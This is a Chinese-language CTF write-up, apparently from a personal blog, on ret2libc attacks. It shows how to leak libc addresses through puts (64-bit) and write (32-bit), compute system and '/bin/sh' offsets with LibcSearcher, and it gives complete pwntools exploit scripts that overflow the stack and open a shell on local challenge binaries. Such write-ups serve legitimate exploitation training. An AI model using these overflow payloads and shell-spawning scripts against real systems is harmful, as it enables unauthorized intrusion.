关于ret2libc的泄露

本文最后更新于 2024年10月9日 上午

关于ret2libc的泄露

原理:在程序运行中,当函数运行过一次之后,会将函数的地址存在got表中,我们可以利用输出函数对函数地址进行泄露

puts64位

*题目*

基础检查,只有NX保护

丢入ida

第二个read 明显存在栈溢出

寻找system

发现找不到system 和binsh

也没有flag的字符,初步认为要泄露libc

接下来开始payload的构造

注意64位要用寄存器来传参

用ROR-gadget寻找合适的寄存器

泄露出read的真实地址

1
payload=b'a'*120+p64(0x400823)+p64(read_got)+p64(puts_plt)+p64(main)

下面是接收数据

1
2
3
4
5
6
read=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#read=u64(io.recv(6).ljust(8,b'\x00'))

#主要使用第一个,第二个有数据干扰

#第一个的原理是我们的地址都是'\x7f'开头的,使用只有遇到'\x7f'才会开始接收

接下俩找libc版本又两种方法

一个是去下面网站寻找

LibcSearcher

另一种方法是安装LibcSearcher的库

下面是安装教程

LibcSearcher安装

我使用的是第二种方法

泄露出地址之后开始寻找版本

1
2
3
4
5
#LibcSearcher的使用示例
libc=LibcSearcher('read',read)
libc_base=read-libc.dump('read')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

选择正确的版本

最后再进行一次溢出

1
payload=b'a'*120+p64(0x40057e)+p64(0x400823)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef)

这里还要注意栈对齐,要用寄存器多绕一步来维持栈平衡

最后运行

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import*
from LibcSearcher import LibcSearcher
context.log_level='debug'
io=process('./libc')
elf=ELF('./libc')
read_got=elf.got['read']
puts_plt=elf.plt['puts']
main=elf.sym['main']
io.recvuntil("Hacker,What's your name?")
io.sendline('2')
payload=b'a'*120+p64(0x400823)+p64(read_got)+p64(puts_plt)+p64(main)
io.recvuntil("then let's begin!\n")
io.sendline(payload)
read=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("the read really address\n")
print(hex(read))
libc=LibcSearcher('read',read)
libc_base=read-libc.dump('read')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
io.send('2')
payload=b'a'*120+p64(0x40057e)+p64(0x400823)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef)
io.recvuntil("then let's begin!\n")
io.sendline(payload)
io.interactive()

这里提醒一下读者,一定要注意数据的接收顺序来编写recvuntil,笔者在这里卡了好久

write(32位)

基础检查

*题目*

基础检查,保护基本没开

丢入ida

很简单 read 函数存在明显的栈溢出

同样还是找不到system 也没有flag等字符

初步认为是libc 泄露

那么可以运用write函数来泄露got表

在ida中找到返回函数

使用payload1的构造为

1
payload =b'a'*140+p32(write)+p32(0x80483f4)+p32(1)+p32(read)+p32(4)

这里要注意write函数要传入三个参数

1
2
3
4
5
ssize_t write(int fd,const void*buf,size_t count);
参数说明:
fd:是文件描述符(write所对应的是写,即就是1
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数

地址泄露后开始找libc

这次我选择用第一种方法

找到对应地址

开始找算偏移和构造system和binsh 的地址

1
2
3
base=read_got-0x10a840
system=base+0x04c880
binsh=base+0x1b5fc8

最后再进行一次 栈溢出

1
payload=b'a'*140+p32(system)+p32(0)+p32(binsh)

运行exp

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import LibcSearcher
sh=process('./123')
elf=ELF('./123')
read=elf.got['read']
write=elf.plt['write']

payload =b'a'*140+p32(write)+p32(0x80483f4)+p32(1)+p32(read)+p32(4)
sh.send(payload)
read_got=u32(sh.recv())
print("the read of address :",hex(read_got))

base=read_got-0x10a840
system=base+0x04c880
binsh=base+0x1b5fc8
payload=b'a'*140+p32(system)+p32(0)+p32(binsh)
sh.send(payload)
sh.interactive()

关于ret2libc的泄露
http://example.com/2024/03/13/libc泄露/
作者
清风
发布于
2024年3月13日
许可协议